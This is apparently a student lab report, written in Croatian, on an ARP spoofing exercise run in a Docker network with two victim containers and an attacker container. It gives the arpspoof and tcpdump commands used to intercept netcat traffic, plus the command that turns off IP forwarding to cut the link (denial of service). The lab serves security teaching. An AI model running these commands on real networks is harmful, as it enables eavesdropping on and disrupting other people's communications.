Sigurnost računala i podataka

Lab 1: Man-in-the-middle attack (ARP spoofing)

U okviru vježbe analizirali smo ranjivost *Address Resolution Protocol*-a (*ARP*) koja napadaču omogućava izvođenje *man in the middle (MitM)* i *denial of service (DoS)* napada na računala koja su dio iste lokalne mreže (*LAN-a*).

Man in the middle (MitM) i denial of service (DoS) napade smo realizirali u virtualiziranoj Docker mreži koja se sastojala od 3 virutalizirana Docker računala (containera) odnosno dva računala žrtve: station-1 i station-2 te napadača: evil-station.

U Windows terminal aplikaciji smo otvorili Ubuntu terminal na WSL sustavu.

U odgovarajući direktorij smo klonirali GitHub repozitorij te smo unutar njega ušli u direktorij arp-spoofing. Unutar tog direktorija se nalaze bash skripte **start.sh** i **stop.sh** koje služe za pokretanje i zaustavljanje mrežnog scenarija.

Pokrenuli smo shell za station-1 i station-2 preko naredbi:

```
$ docker exec -it station-1 bash
$ docker exec -it station-2 bash
```

Nakon toga smo ostvarili konekciju između dva računala koji će biti žrtve napada: station-1 i station-2.

Prvo smo station-1 postavili za server na portu 8000:

```
$ netcat -l -p 8000
```

Zatim smo station-2 postavili za client spojen na station-1:

```
$ netcat station-1 8000
```

Da bi izvršili napad prvo smo pokrenuli shell za evil-station:

$ docker exec -it evil-station bash

Dalje smo pomoću naredbi arpspoof i tcpdump izvršili man in the middle napad jer su poruke izmedu station-1 i station-2 bile poslane preko evil-station koji je mogao pročitati sadržaj poslanih poruka.

$ arpspoof -t station-1 station-2

$ tcpdump

Nakon toga smo izvršili denial of service napad, odnosno u potpunosti smo prekinuli prijenos poruka između station-1 i station-2 pomoću naredbe:

echo 0 > /proc/sys/net/ipv4/ip_forward